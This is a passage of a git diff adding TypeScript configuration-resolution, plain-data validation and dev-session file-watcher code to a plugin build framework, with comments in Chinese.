Readonly; + readonly srcDirectory: string; + readonly public: ResolvedPublicConfig; + readonly runtime: ResolvedRuntimeConfig; + readonly platforms: readonly ResolvedPlatform[]; + readonly extensions: readonly AcpluginExtension[]; + readonly outDirectory: string; + readonly strict: boolean; +} + +/** 配置各层使用的 plain data property 描述符。 */ +type Descriptors = Record; + +/** 顶层配置唯一字段集合。 */ +const USER_CONFIG_FIELDS = new Set([ + 'name', 'version', 'description', 'displayName', 'author', 'homepage', 'repository', + 'license', 'keywords', 'srcDir', 'public', 'runtime', 'platforms', 'extensions', 'build', +]); + +/** 作者邮件地址的保守结构约束。 */ +const EMAIL = /^[^\s@]+@[^\s@]+\.[^\s@]+$/u; + +/** Plugin name 和 Runtime ID 共用 lowercase-kebab 规则。 */ +const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** + * 读取不带 accessor/Symbol/原型行为的对象字段。 + * + * @param value 未受信任的配置值。 + * @param label 稳定诊断标签。 + * @param diagnostics 当前配置诊断集合。 + * @param fieldPath 配置字段路径。 + * @returns 合法对象的 data descriptors。 + */ +function descriptors( + value: unknown, + label: string, + diagnostics: DiagnosticRegistry, + fieldPath: readonly (string | number)[], +): Descriptors | undefined { + if (typeof value !== 'object' || value === null || Array.isArray(value) + || (Object.getPrototypeOf(value) !== Object.prototype && Object.getPrototypeOf(value) !== null)) { + diagnostics.report('config', { + code: 'CONFIG_OBJECT_INVALID', severity: 'error', message: `${label} must be a plain object.`, fieldPath, + }); + return undefined; + } + if (Object.getOwnPropertySymbols(value).length > 0) { + diagnostics.report('config', { + code: 'CONFIG_SYMBOL_INVALID', severity: 'error', message: `${label} must not contain Symbol fields.`, fieldPath, + }); + return undefined; + } + /** descriptor 读取不会执行 getter。 */ + const result = Object.getOwnPropertyDescriptors(value); + for (const [field, descriptor] of Object.entries(result)) { + if (!('value' in descriptor)) { + diagnostics.report('config', { + code: 'CONFIG_ACCESSOR_INVALID', severity: 'error', message: `${label}.${field} must be a data property.`, fieldPath: [...fieldPath, field], + }); + return undefined; + } + } + return result; +} + +/** + * 报告未知对象字段。 + * + * @param values 当前对象 descriptors。 + * @param allowed 白名单。 + * @param diagnostics 当前诊断集合。 + * @param fieldPath 当前字段路径。 + */ +function unknownFields(values: Descriptors, allowed: ReadonlySet, diagnostics: DiagnosticRegistry, fieldPath: readonly (string | number)[]): void { + for (const field of Object.keys(values).sort()) { + if (!allowed.has(field)) { + diagnostics.report('config', { + code: 'CONFIG_FIELD_UNKNOWN', severity: 'error', message: `Unknown configuration field "${[...fieldPath, field].join('.')}".`, fieldPath: [...fieldPath, field], + }); + } + } +} + +/** + * 解析 project-relative POSIX 路径。 + * + * @param root 可信工程根。 + * @param value 配置路径值。 + * @param fallback 缺省相对路径。 + * @param label 诊断标签。 + * @param diagnostics 当前诊断集合。 + * @param allowDot 是否允许 `.` 表示工程根。 + * @returns 仍位于工程内的绝对路径。 + */ +function projectPath( + root: string, + value: unknown, + fallback: string, + label: string, + diagnostics: DiagnosticRegistry, + allowDot = false, +): string { + /** 无效输入仍返回安全 fallback,以便一次汇总更多独立配置问题。 */ + let relative = fallback; + if (value !== undefined) { + if (typeof value !== 'string' || (value === '.' ? !allowDot : value.length === 0)) { + diagnostics.report('config', { code: 'CONFIG_PATH_INVALID', severity: 'error', message: `${label} must be a project-relative POSIX path.`, fieldPath: label.split('.') }); + } else { + try { + relative = value === '.' && allowDot ? '' : safeRelativePath(value); + } catch { + diagnostics.report('config', { code: 'CONFIG_PATH_INVALID', severity: 'error', message: `${label} must be a project-relative POSIX path.`, fieldPath: label.split('.') }); + } + } + } + /** 安全 POSIX segments 按宿主路径拼接。 */ + const resolved = relative === '' ? root : path.join(root, ...relative.split('/')); + if (!isInsidePath(root, resolved)) + throw new Error('Resolved configuration path escaped the project root.'); + return resolved; +} + +/** + * 判断两个物理目录/文件边界是否互相包含。 + * + * @param left 左侧绝对路径。 + * @param right 右侧绝对路径。 + * @returns 任一方向包含时为 true。 + */ +function overlaps(left: string, right: string): boolean { + return isInsidePath(left, right) || isInsidePath(right, left); +} + +/** + * 解析并冻结作者信息。 + * + * @param value author 配置值。 + * @param diagnostics 当前诊断集合。 + * @returns 合法作者或 undefined。 + */ +function author(value: unknown, diagnostics: DiagnosticRegistry): PluginAuthor | undefined { + if (value === undefined) + return undefined; + /** author 必须先转为不会触发 getter 的字段描述符。 */ + const values = descriptors(value, 'author', diagnostics, ['author']); + if (values === undefined) + return undefined; + unknownFields(values, new Set(['name', 'email', 'url']), diagnostics, ['author']); + /** 当前 author 字段 data values。 */ + const name = values.name?.value; + /** email 保留原始输入供独立格式校验。 */ + const email = values.email?.value; + /** url 只允许可公开报告的 HTTP(S) 地址。 */ + const url = values.url?.value; + if (typeof name !== 'string' || name.trim() === '') + diagnostics.report('config', { code: 'CONFIG_AUTHOR_NAME_INVALID', severity: 'error', message: 'author.name must be a non-empty string.', fieldPath: ['author', 'name'] }); + if (email !== undefined && (typeof email !== 'string' || !EMAIL.test(email))) + diagnostics.report('config', { code: 'CONFIG_AUTHOR_EMAIL_INVALID', severity: 'error', message: 'author.email must be a valid email address.', fieldPath: ['author', 'email'] }); + if (url !== undefined && (typeof url !== 'string' || !isHttpUrl(url))) + diagnostics.report('config', { code: 'CONFIG_AUTHOR_URL_INVALID', severity: 'error', message: 'author.url must be an absolute HTTP URL.', fieldPath: ['author', 'url'] }); + if (typeof name !== 'string' || name.trim() === '') + return undefined; + return Object.freeze({ + name: name.trim(), + ...(typeof email === 'string' && EMAIL.test(email) ? { email } : {}), + ...(typeof url === 'string' && isHttpUrl(url) ? { url } : {}), + }); +} + +/** @returns 只接受 HTTP/HTTPS 的 URL 是否有效。 */ +function isHttpUrl(value: string): boolean { + try { + return new Set(['http:', 'https:']).has(new URL(value).protocol); + } catch { + return false; + } +} + +/** + * 复制 keyword 数组。 + * + * @param value 配置值。 + * @param diagnostics 当前诊断集合。 + * @returns 稳定、唯一 keyword 集。 + */ +function keywords(value: unknown, diagnostics: DiagnosticRegistry): readonly string[] { + if (value === undefined) + return Object.freeze([]); + if (!Array.isArray(value)) { + diagnostics.report('config', { code: 'CONFIG_KEYWORDS_INVALID', severity: 'error', message: 'keywords must be an array.', fieldPath: ['keywords'] }); + return Object.freeze([]); + } + /** 调用方数组在任何异步边界前复制。 */ + const input = [...value]; + /** 规范化后的唯一 keyword。 */ + const result: string[] = []; + for (const [index, item] of input.entries()) { + if (typeof item !== 'string' || item.trim() === '') { + diagnostics.report('config', { code: 'CONFIG_KEYWORD_INVALID', severity: 'error', message: 'Every keyword must be a non-empty string.', fieldPath: ['keywords', index] }); + continue; + } + /** keyword 比较使用去除两端空白后的规范文本。 */ + const normalized = item.trim(); + if (result.includes(normalized)) { + diagnostics.report('config', { code: 'CONFIG_KEYWORD_DUPLICATE', severity: 'error', message: `Keyword "${normalized}" is duplicated.`, fieldPath: ['keywords', index] }); + continue; + } + result.push(normalized); + } + return Object.freeze(result); +} + +/** + * 解析 Public 精确映射。 + * + * @param root 工程根。 + * @param value public 配置。 + * @param protectedPaths 不得被 Public 来源覆盖的路径。 + * @param diagnostics 当前诊断集合。 + * @returns 统一 Public 配置。 + */ +function publicConfig( + root: string, + value: unknown, + protectedPaths: readonly string[], + diagnostics: DiagnosticRegistry, +): ResolvedPublicConfig { + if (value === false) + return Object.freeze({ enabled: false, directory: path.join(root, 'public') }); + if (typeof value === 'string') { + /** 字符串简写表示完整复制一个工程内目录。 */ + const directory = projectPath(root, value, 'public', 'public', diagnostics, true); + if (protectedPaths.some(protectedPath => overlaps(directory, protectedPath))) + diagnostics.report('config', { code: 'CONFIG_PUBLIC_OVERLAP', severity: 'error', message: 'Public full-tree source overlaps a protected project path.', fieldPath: ['public'] }); + return Object.freeze({ enabled: true, directory }); + } + /** 对象写法允许完整目录或精确 copy rules。 */ + const values = value === undefined ? {} : descriptors(value, 'public', diagnostics, ['public']); + if (values === undefined) + return Object.freeze({ enabled: true, directory: path.join(root, 'public') }); + unknownFields(values, new Set(['dir', 'copy']), diagnostics, ['public']); + /** 每条 copy rule 都以最终 Public directory 为解析边界。 */ + const directory = projectPath(root, values.dir?.value, 'public', 'public.dir', diagnostics, true); + if (values.copy === undefined) { + if (protectedPaths.some(protectedPath => overlaps(directory, protectedPath))) + diagnostics.report('config', { code: 'CONFIG_PUBLIC_OVERLAP', severity: 'error', message: 'Public full-tree source overlaps a protected project path.', fieldPath: ['public'] }); + return Object.freeze({ enabled: true, directory }); + } + if (!Array.isArray(values.copy.value)) { + diagnostics.report('config', { code: 'CONFIG_PUBLIC_COPY_INVALID', severity: 'error', message: 'public.copy must be an array.', fieldPath: ['public', 'copy'] }); + return Object.freeze({ enabled: true, directory, copy: Object.freeze([]) }); + } + /** 每条规则按精确 resolved source 独立验证 overlap。 */ + const rules: ResolvedPublicCopyRule[] = []; + for (const [index, raw] of [...values.copy.value].entries()) { + /** 单条规则继续使用 descriptor 边界避免 accessor 执行。 */ + const rule = descriptors(raw, 'Public copy rule', diagnostics, ['public', 'copy', index]); + if (rule === undefined) + continue; + unknownFields(rule, new Set(['from', 'to']), diagnostics, ['public', 'copy', index]); + try { + /** 来源路径必须是未折叠的安全 POSIX 相对路径。 */ + const from = safeRelativePath(rule.from?.value); + /** 目标路径使用相同语法边界以保持跨平台一致。 */ + const to = safeRelativePath(rule.to?.value); + /** resolved source 只留在 Kernel 私有配置中。 */ + const source = path.join(directory, ...from.split('/')); + if (!isInsidePath(directory, source)) + throw new TypeError('escape'); + if (protectedPaths.some(protectedPath => overlaps(source, protectedPath))) { + diagnostics.report('config', { code: 'CONFIG_PUBLIC_OVERLAP', severity: 'error', message: 'Public copy source overlaps a protected project path.', fieldPath: ['public', 'copy', index, 'from'] }); + } + rules.push(Object.freeze({ from, to, source })); + } catch { + diagnostics.report('config', { code: 'CONFIG_PUBLIC_RULE_INVALID', severity: 'error', message: 'Public copy paths must be non-empty project-relative POSIX paths.', fieldPath: ['public', 'copy', index] }); + } + } + return Object.freeze({ enabled: true, directory, copy: Object.freeze(rules) }); +} + +/** + * 解析 Runtime 声明和 portable 参数。 + * + * @param srcDirectory 最终 srcDir。 + * @param value runtime 配置。 + * @param diagnostics 当前诊断集合。 + * @returns 固定 Runtime 配置。 + */ +function runtimeConfig(srcDirectory: string, value: unknown, diagnostics: DiagnosticRegistry): ResolvedRuntimeConfig { + /** Runtime 作者格式固定占用 srcDir/runtime。 */ + const directory = path.join(srcDirectory, 'runtime'); + if (value === false) + return Object.freeze({ enabled: false, directory, target: 'node20' }); + /** 省略配置等价于启用约定式自动入口。 */ + const values = value === undefined ? {} : descriptors(value, 'runtime', diagnostics, ['runtime']); + if (values === undefined) + return Object.freeze({ enabled: true, directory, target: 'node20' }); + unknownFields(values, new Set(['target', 'entries', 'compile']), diagnostics, ['runtime']); + if (values.target !== undefined && values.target.value !== 'node20') + diagnostics.report('config', { code: 'RUNTIME_TARGET_INVALID', severity: 'error', message: 'runtime.target must be node20.', fieldPath: ['runtime', 'target'] }); + /** entries 字段存在时完整替换自动发现,包括显式空对象。 */ + let entries: Record> | undefined; + if (values.entries !== undefined) { + entries = {}; + /** 显式 entries 对象完整替换自动发现集合。 */ + const inputs = descriptors(values.entries.value, 'runtime.entries', diagnostics, ['runtime', 'entries']); + for (const id of Object.keys(inputs ?? {}).sort()) { + if (!STABLE_ID.test(id)) + diagnostics.report('config', { code: 'RUNTIME_ENTRY_ID_INVALID', severity: 'error', message: `Runtime entry ID "${id}" must use lowercase kebab-case.`, fieldPath: ['runtime', 'entries', id] }); + /** 单个入口必须是只含 entry/kind 的 plain data。 */ + const entry = descriptors(inputs![id]!.value, `runtime.entries.${id}`, diagnostics, ['runtime', 'entries', id]); + if (entry === undefined) + continue; + unknownFields(entry, new Set(['entry', 'kind']), diagnostics, ['runtime', 'entries', id]); + try { + /** 入口只能引用 Runtime root 内的相对源码。 */ + const source = safeRelativePath(entry.entry?.value); + /** 省略 kind 时使用可直接执行的默认交付语义。 */ + const kind = entry.kind?.value ?? 'executable'; + if (kind !== 'executable' && kind !== 'module') + throw new TypeError('kind'); + entries[id] = Object.freeze({ entry: source, kind }); + } catch { + diagnostics.report('config', { code: 'RUNTIME_ENTRY_INVALID', severity: 'error', message: `Runtime entry "${id}" must declare a relative source and executable or module kind.`, fieldPath: ['runtime', 'entries', id] }); + } + } + } + /** portable 参数只使用 Compiler Host 的唯一 runtime normalizer。 */ + let compile: PortableNodeCompileOptions | undefined; + if (values.compile !== undefined) { + try { + compile = normalizePortableOptions(values.compile.value); + } catch { + diagnostics.report('config', { code: 'RUNTIME_COMPILE_INVALID', severity: 'error', message: 'runtime.compile contains unsupported portable-node options.', fieldPath: ['runtime', 'compile'] }); + } + } + return Object.freeze({ + enabled: true, + directory, + target: 'node20', + ...(entries === undefined ? {} : { entries: Object.freeze(entries) }), + ...(compile === undefined ? {} : { compile }), + }); +} + +/** + * 将作者配置解析为 Kernel 私有不可变配置。 + * + * @param value Module Host 返回的未知 default export。 + * @param options 固定工程身份和执行环境。 + * @returns 配置成功时的 snapshot 及全部稳定诊断。 + */ +export function resolveKernelConfig( + value: unknown, + options: { + readonly projectRoot: string; + readonly configFile: string; + readonly command: ConfigCommand; + readonly mode: BuildMode; + }, +): { readonly config?: ResolvedKernelConfig; readonly diagnostics: readonly import('../kernel-types.js').Diagnostic[] } { + /** 所有配置错误集中到同一稳定 Registry 后一次返回。 */ + const diagnostics = new DiagnosticRegistry(); + /** 工程根由 Project 层固定,不能退化为 config 所在目录。 */ + const projectRoot = path.resolve(options.projectRoot); + /** 配置文件必须已由 Project/Source policy 确认为工程内文件。 */ + const configFile = path.resolve(options.configFile); + if (!isInsidePath(projectRoot, configFile)) + diagnostics.report('config', { code: 'CONFIG_FILE_OUTSIDE_PROJECT', severity: 'error', message: 'Configuration file must be inside the project root.' }); + /** 顶层输入也必须先证明为无行为 plain data。 */ + const values = descriptors(value, 'Configuration', diagnostics, []); + if (values === undefined) + return { diagnostics: diagnostics.diagnostics }; + unknownFields(values, USER_CONFIG_FIELDS, diagnostics, []); + + /** 三个必填 metadata 字段。 */ + const name = values.name?.value; + /** version 保留原始值交给完整 SemVer 校验。 */ + const version = values.version?.value; + /** description 最终会去除两端空白并冻结。 */ + const description = values.description?.value; + if (typeof name !== 'string' || !STABLE_ID.test(name)) + diagnostics.report('config', { code: 'CONFIG_NAME_INVALID', severity: 'error', message: 'name must use lowercase kebab-case.', fieldPath: ['name'] }); + if (typeof version !== 'string' || semver.valid(version) === null) + diagnostics.report('config', { code: 'CONFIG_VERSION_INVALID', severity: 'error', message: 'version must be a complete SemVer.', fieldPath: ['version'] }); + if (typeof description !== 'string' || description.trim() === '') + diagnostics.report('config', { code: 'CONFIG_DESCRIPTION_REQUIRED', severity: 'error', message: 'description must be a non-empty string.', fieldPath: ['description'] }); + /** displayName 是可选的人类可读展示名。 */ + const displayName = values.displayName?.value; + if (displayName !== undefined && (typeof displayName !== 'string' || displayName.trim() === '')) + diagnostics.report('config', { code: 'CONFIG_DISPLAY_NAME_INVALID', severity: 'error', message: 'displayName must be a non-empty string.', fieldPath: ['displayName'] }); + for (const field of ['homepage', 'repository'] as const) { + /** 两个公开链接复用完全相同的 HTTP(S) 边界。 */ + const candidate = values[field]?.value; + if (candidate !== undefined && (typeof candidate !== 'string' || !isHttpUrl(candidate))) + diagnostics.report('config', { code: `CONFIG_${field.toUpperCase()}_INVALID`, severity: 'error', message: `${field} must be an absolute HTTP URL.`, fieldPath: [field] }); + } + /** license 保留 SPDX 表达式而不是猜测或改写许可证。 */ + const license = values.license?.value; + if (license !== undefined) { + try { + if (typeof license !== 'string' || license.length === 0) + throw new TypeError('invalid'); + parseSpdxExpression(license); + } catch { + diagnostics.report('config', { code: 'CONFIG_LICENSE_INVALID', severity: 'error', message: 'license must be a valid SPDX expression.', fieldPath: ['license'] }); + } + } + + /** build 先解析,以便 Public overlap 使用最终 outDir。 */ + const build = values.build === undefined ? {} : descriptors(values.build.value, 'build', diagnostics, ['build']) ?? {}; + unknownFields(build, new Set(['outDir', 'strict']), diagnostics, ['build']); + if (build.strict !== undefined && typeof build.strict.value !== 'boolean') + diagnostics.report('config', { code: 'CONFIG_STRICT_INVALID', severity: 'error', message: 'build.strict must be boolean.', fieldPath: ['build', 'strict'] }); + /** strict 默认开启,Platform 可在定义层显式覆盖。 */ + const strict = typeof build.strict?.value === 'boolean' ? build.strict.value : true; + /** 作者源码目录始终解析为工程内绝对 Kernel 路径。 */ + const srcDirectory = projectPath(projectRoot, values.srcDir?.value, 'src', 'srcDir', diagnostics); + /** 输出目录由事务层完整托管且不得与源码重叠。 */ + const outDirectory = projectPath(projectRoot, build.outDir?.value, 'dist', 'build.outDir', diagnostics); + if (outDirectory === projectRoot || overlaps(srcDirectory, outDirectory)) + diagnostics.report('config', { code: 'CONFIG_DIRECTORY_OVERLAP', severity: 'error', message: 'srcDir and build.outDir must be separate project subtrees.' }); + /** Public 需要同时避开源码、输出和配置入口。 */ + const resolvedPublic = publicConfig(projectRoot, values.public?.value, [srcDirectory, outDirectory, configFile], diagnostics); + /** Runtime 始终以最终 srcDirectory 为约定根。 */ + const resolvedRuntime = runtimeConfig(srcDirectory, values.runtime?.value, diagnostics); + + /** Platform definitions 必须显式、非空、品牌有效且 ID 唯一。 */ + const platforms: ResolvedPlatform[] = []; + if (!Array.isArray(values.platforms?.value) || values.platforms.value.length === 0) { + diagnostics.report('config', { code: 'CONFIG_PLATFORMS_REQUIRED', severity: 'error', message: 'platforms must contain at least one Platform.', fieldPath: ['platforms'] }); + } else { + /** Platform ID 集合用于拒绝重复目标。 */ + const seen = new Set(); + for (const [index, candidate] of [...values.platforms.value].entries()) { + if (!isAcpluginPlatform(candidate)) { + diagnostics.report('config', { code: 'CONFIG_PLATFORM_INVALID', severity: 'error', message: 'Every platform must be created by definePlatform().', fieldPath: ['platforms', index] }); + continue; + } + if (seen.has(candidate.id)) { + diagnostics.report('config', { code: 'CONFIG_PLATFORM_DUPLICATE', severity: 'error', message: `Platform "${candidate.id}" is configured more than once.`, fieldPath: ['platforms', index] }); + continue; + } + seen.add(candidate.id); + platforms.push(Object.freeze({ definition: candidate, strict: candidate.strict ?? strict })); + } + } + /** Extension 定义同样只接受品牌实例并按 ID 去重。 */ + const extensions: AcpluginExtension[] = []; + if (values.extensions !== undefined) { + if (!Array.isArray(values.extensions.value)) { + diagnostics.report('config', { code: 'CONFIG_EXTENSIONS_INVALID', severity: 'error', message: 'extensions must be an array.', fieldPath: ['extensions'] }); + } else { + /** Extension ID 集合用于稳定拒绝重复能力。 */ + const seen = new Set(); + for (const [index, candidate] of [...values.extensions.value].entries()) { + if (!isAcpluginExtension(candidate)) { + diagnostics.report('config', { code: 'CONFIG_EXTENSION_INVALID', severity: 'error', message: 'Every extension must be created by defineExtension().', fieldPath: ['extensions', index] }); + continue; + } + if (seen.has(candidate.id)) { + diagnostics.report('config', { code: 'CONFIG_EXTENSION_DUPLICATE', severity: 'error', message: `Extension "${candidate.id}" is configured more than once.`, fieldPath: ['extensions', index] }); + continue; + } + seen.add(candidate.id); + extensions.push(candidate); + } + } + } + /** 可选 metadata 也必须在其他字段失败时独立收集诊断。 */ + const resolvedAuthor = author(values.author?.value, diagnostics); + /** keyword 解析与作者输入容器断开并完成稳定去重。 */ + const resolvedKeywords = keywords(values.keywords?.value, diagnostics); + if (diagnostics.hasErrors) + return { diagnostics: diagnostics.diagnostics }; + + /** metadata 必需字段已证明有效;完整 snapshot 递归冻结。 */ + const metadata = Object.freeze({ + name: name as string, + version: version as string, + description: (description as string).trim(), + ...(typeof displayName === 'string' ? { displayName: displayName.trim() } : {}), + ...(resolvedAuthor === undefined ? {} : { author: resolvedAuthor }), + ...(typeof values.homepage?.value === 'string' ? { homepage: values.homepage.value } : {}), + ...(typeof values.repository?.value === 'string' ? { repository: values.repository.value } : {}), + ...(typeof license === 'string' ? { license } : {}), + keywords: resolvedKeywords, + }) satisfies Readonly; + /** 最终 config 只在所有独立诊断均通过后物化。 */ + const config: ResolvedKernelConfig = Object.freeze({ + projectRoot, + configFile, + command: options.command, + mode: options.mode, + metadata, + srcDirectory, + public: resolvedPublic, + runtime: resolvedRuntime, + platforms: Object.freeze(platforms), + extensions: Object.freeze(extensions), + outDirectory, + strict, + }); + return { config, diagnostics: diagnostics.diagnostics }; +} diff --git a/packages/core/src/kernel/data-boundary.ts b/packages/core/src/kernel/data-boundary.ts new file mode 100644 index 0000000..bf1d7c0 --- /dev/null +++ b/packages/core/src/kernel/data-boundary.ts @@ -0,0 +1,64 @@ +/** 已验证 data property 的 descriptor 形状。 */ +export type DataPropertyDescriptor = PropertyDescriptor & { readonly value: unknown }; + +/** + * 验证 Integration 返回的是仅含 data property 的普通对象。 + * + * @param value 未受信任对象。 + * @param allowed 允许出现的完整字段集合。 + * @param label 稳定诊断标签。 + * @returns 不会在后续读取时执行 getter 的字段 descriptor。 + */ +export function dataObjectFields( + value: unknown, + allowed: ReadonlySet, + label: string, +): Readonly> { + if (typeof value !== 'object' || value === null || Array.isArray(value)) + throw new TypeError(`${label} must be a plain object.`); + /** null-prototype records 与 object literal 都属于无行为数据容器。 */ + const prototype = Object.getPrototypeOf(value); + if ((prototype !== Object.prototype && prototype !== null) || Object.getOwnPropertySymbols(value).length > 0) + throw new TypeError(`${label} must be a plain object without Symbol fields.`); + /** descriptor 边界保证校验本身不会执行 Integration getter。 */ + const descriptors = Object.getOwnPropertyDescriptors(value) as Record; + for (const [field, descriptor] of Object.entries(descriptors)) { + if (!allowed.has(field)) + throw new TypeError(`${label} contains unknown field "${field}".`); + if (!('value' in descriptor) || descriptor.enumerable !== true) + throw new TypeError(`${label}.${field} must be an enumerable data property.`); + } + return descriptors as Readonly>; +} + +/** + * 验证 Integration 数组稠密、无自定义字段且不会通过 getter 取值。 + * + * @param value 未受信任数组。 + * @param label 稳定诊断标签。 + * @returns 与原数组容器断开的浅层冻结元素快照。 + */ +export function dataArrayItems(value: unknown, label: string): readonly unknown[] { + if (!Array.isArray(value) || Object.getPrototypeOf(value) !== Array.prototype + || Object.getOwnPropertySymbols(value).length > 0) { + throw new TypeError(`${label} must be an array without Symbol fields.`); + } + /** length 与每个 index 都从 descriptor 读取,避免稀疏数组和 accessor。 */ + const descriptors = Object.getOwnPropertyDescriptors(value) as Record; + /** 原始 length descriptor 决定精确遍历边界。 */ + const length = descriptors.length?.value; + if (!Number.isSafeInteger(length) || length < 0) + throw new TypeError(`${label} has an invalid length.`); + /** 新数组与调用方容器断开。 */ + const result: unknown[] = []; + for (let index = 0; index < length; index += 1) { + /** 单个 index 必须是显式可枚举 data property。 */ + const descriptor = descriptors[String(index)]; + if (descriptor === undefined || !('value' in descriptor) || descriptor.enumerable !== true) + throw new TypeError(`${label} must be dense and contain only data properties.`); + result.push(descriptor.value); + } + if (Object.keys(descriptors).some(field => field !== 'length' && !/^(?:0|[1-9][0-9]*)$/u.test(field))) + throw new TypeError(`${label} must not contain custom fields.`); + return Object.freeze(result); +} diff --git a/packages/core/src/kernel/dev-session.ts b/packages/core/src/kernel/dev-session.ts new file mode 100644 index 0000000..b60a5cc --- /dev/null +++ b/packages/core/src/kernel/dev-session.ts @@ -0,0 +1,568 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { watch, type FSWatcher } from 'chokidar'; +import type { + BuildReport, + DevSession, + DevSessionEvent, + Diagnostic, + ProjectDevOptions, +} from '../kernel-types.js'; +import { createBuildReport } from '../package/report-builder.js'; +import { + createKernelBuildEnvironment, + disposeKernelBuildEnvironment, + runKernelBuildSession, + type KernelBuildSessionResult, +} from './build-session.js'; + +/** Dev coordinator 向配置 loader 请求的固定命令。 */ +export interface DevSessionRoundInput { + readonly projectRoot: string; + readonly configFile?: string; + readonly frameworkVersion: string; + readonly loadConfig: (environment: Awaited>) => Promise; + readonly options: ProjectDevOptions; + readonly initialConfigError?: (error: unknown) => readonly Diagnostic[]; + /** Core 单测使用的 watcher I/O 注入点;公开 Project API 不暴露。 */ + readonly watchFactory?: typeof watch; + /** Core 单测可缩短 readiness fault 的有界等待;默认 5 秒。 */ + readonly watchReadyTimeoutMs?: number; +} + +/** Project 配置失败时构造一个可继续 watch 的最小报告。 */ +async function failureReport( + input: DevSessionRoundInput, + environment: Awaited>, + diagnostics: readonly Diagnostic[], +): Promise { + return createBuildReport({ + frameworkVersion: input.frameworkVersion, + compilerVersion: (await environment.compiler.service('framework:report')).engine.version, + success: false, + command: 'dev', + mode: input.options.mode ?? 'development', + committed: false, + components: [], + runtimes: [], + extensions: [], + platforms: [], + packages: [], + compatibility: [], + metadata: [], + diagnostics, + assets: environment.assets, + }); +} + +/** 使用独立受管环境建立一个不泄漏 watcher 异常的稳定失败报告。 */ +async function isolatedFailureReport( + input: DevSessionRoundInput, + diagnostic: Diagnostic, +): Promise { + /** 失败报告仍使用独占环境取得完整且安全的 schema-v2 字段。 */ + const environment = await createKernelBuildEnvironment(input.projectRoot); + try { + return await failureReport(input, environment, Object.freeze([diagnostic])); + } finally { + await disposeKernelBuildEnvironment(environment); + } +} + +/** 从文件事件生成工程相对路径或已登记的外部 package identity。 */ +function changeIdentity( + projectRoot: string, + file: string, + observations: ReadonlyMap>, +): string | undefined { + /** Chokidar 与 Watch Registry 均使用绝对规范路径。 */ + const absolute = path.resolve(file); + /** 精确依赖优先复用 Watch Registry 已验证的稳定 identity。 */ + const direct = observations.get(absolute); + if (direct !== undefined) + return direct.identity; + /** 工程根中的新资源尚未进入 snapshot,仍可安全使用相对路径。 */ + const projectRelative = path.relative(projectRoot, absolute); + if (projectRelative === '' || (projectRelative !== '..' && !projectRelative.startsWith(`..${path.sep}`) && !path.isAbsolute(projectRelative))) + return projectRelative === '' ? '.' : projectRelative.split(path.sep).join('/'); + /** 外部目录 observation 可以为其后代生成同一 package identity 下的路径。 */ + const directory = [...observations.entries()] + .filter(([root, observation]) => observation.type === 'directory' && (() => { + /** relative 用于证明事件仍位于已授权的外部观察目录内。 */ + const relative = path.relative(root, absolute); + return relative === '' || (relative !== '..' && !relative.startsWith(`..${path.sep}`) && !path.isAbsolute(relative)); + })()) + .sort(([left], [right]) => right.length - left.length)[0]; + if (directory === undefined) + return undefined; + /** 最深匹配目录的安全后代路径附加到其稳定 package identity。 */ + const suffix = path.relative(directory[0], absolute).split(path.sep).join('/'); + return suffix === '' ? directory[1].identity : `${directory[1].identity}/${suffix}`; +} + +/** + * 只忽略本轮解析后的托管输出和仓库元数据。 + * + * @param projectRoot 固定工程根。 + * @param outputDirectory 最近一次合法配置解析出的输出根。 + * @param candidate Chokidar 正在判定的路径。 + * @returns 该路径是否不应触发重建。 + */ +function ignoredPath(projectRoot: string, outputDirectory: string | undefined, candidate: string): boolean { + /** 工程相对路径只用于判断元数据和中间目录。 */ + const relative = path.relative(projectRoot, candidate).split(path.sep).join('/'); + /** 输出路径按物理包含关系判断,不把名为 dist 的合法 srcDir 特判掉。 */ + const outputRelative = outputDirectory === undefined ? undefined : path.relative(outputDirectory, candidate); + /** 候选位于最终输出根本身或后代时必须忽略。 */ + const managedOutput = outputRelative !== undefined && (outputRelative === '' + || (!outputRelative.startsWith(`..${path.sep}`) && outputRelative !== '..' && !path.isAbsolute(outputRelative))); + /** 输出事务的 lock/stage/backup/record 位于 outDir 同级,同样由 Core 托管。 */ + const outputBase = outputDirectory === undefined ? undefined : path.basename(outputDirectory); + /** 事务辅助路径共用以 outDir basename 为前缀的稳定命名。 */ + const transactionPrefix = outputBase === undefined ? undefined : `.${outputBase}.acplugin`; + /** 仅匹配 outDir 父目录中的直属事务路径。 */ + const candidateParent = path.dirname(candidate); + /** 候选 basename 用于区分作者目录与托管事务元数据。 */ + const candidateBase = path.basename(candidate); + /** 同级事务路径不得反向触发 dev 重建。 */ + const managedTransaction = outputDirectory !== undefined && transactionPrefix !== undefined + && candidateParent === path.dirname(outputDirectory) + && (candidateBase === `${transactionPrefix}.lock` + || candidateBase === `${transactionPrefix}-transaction.json` + || candidateBase === `${transactionPrefix}-transaction.json.writing` + || candidateBase === `${transactionPrefix}-committed.json` + || candidateBase === `${transactionPrefix}-committed.json.writing` + || candidateBase === `${transactionPrefix}-backup` + || candidateBase.startsWith(`${transactionPrefix}-stage-`)); + /** 不跟随的包代理内嵌 node_modules symlink 不是作者变更。 */ + const nestedDependencyLink = relative !== 'node_modules' && relative.endsWith('/node_modules'); + return managedOutput || managedTransaction || nestedDependencyLink || relative === '.git' || relative.startsWith('.git/') + || relative.startsWith('.acplugin-work-') || relative.startsWith('.acplugin-stage-'); +} + +/** Core-owned DevSession 的最小 round coordinator。 */ +export async function createDevSession(input: DevSessionRoundInput): Promise { + /** 生产路径始终使用 Chokidar;测试只替换同一 FSWatcher 契约。 */ + const createWatcher = input.watchFactory ?? watch; + /** readiness deadline 必须是有限正整数。 */ + const watchReadyTimeoutMs = input.watchReadyTimeoutMs ?? 5_000; + if (!Number.isSafeInteger(watchReadyTimeoutMs) || watchReadyTimeoutMs <= 0) + throw new TypeError('Dev watcher readiness timeout must be a positive integer.'); + /** Platform subset 在 Session 创建时复制,不观察调用方后续修改。 */ + const selection = input.options.platforms === undefined ? undefined : Object.freeze([...input.options.platforms]); + /** Dev 默认提交成功输出。 */ + const commit = input.options.commit ?? true; + /** 订阅者只接收不可变轮次事件。 */ + const listeners = new Set<(event: DevSessionEvent) => void>(); + /** Core 独占的当前文件观察器。 */ + let watcher: FSWatcher | undefined; + /** 已向 Chokidar 登记的路径快照。 */ + let watchedPaths = new Set(); + /** 首次 ready 时间用于保留最小事件交付窗口。 */ + let watcherReadyAt = 0; + /** close 完成后的终态标志。 */ + let closed = false; + /** close 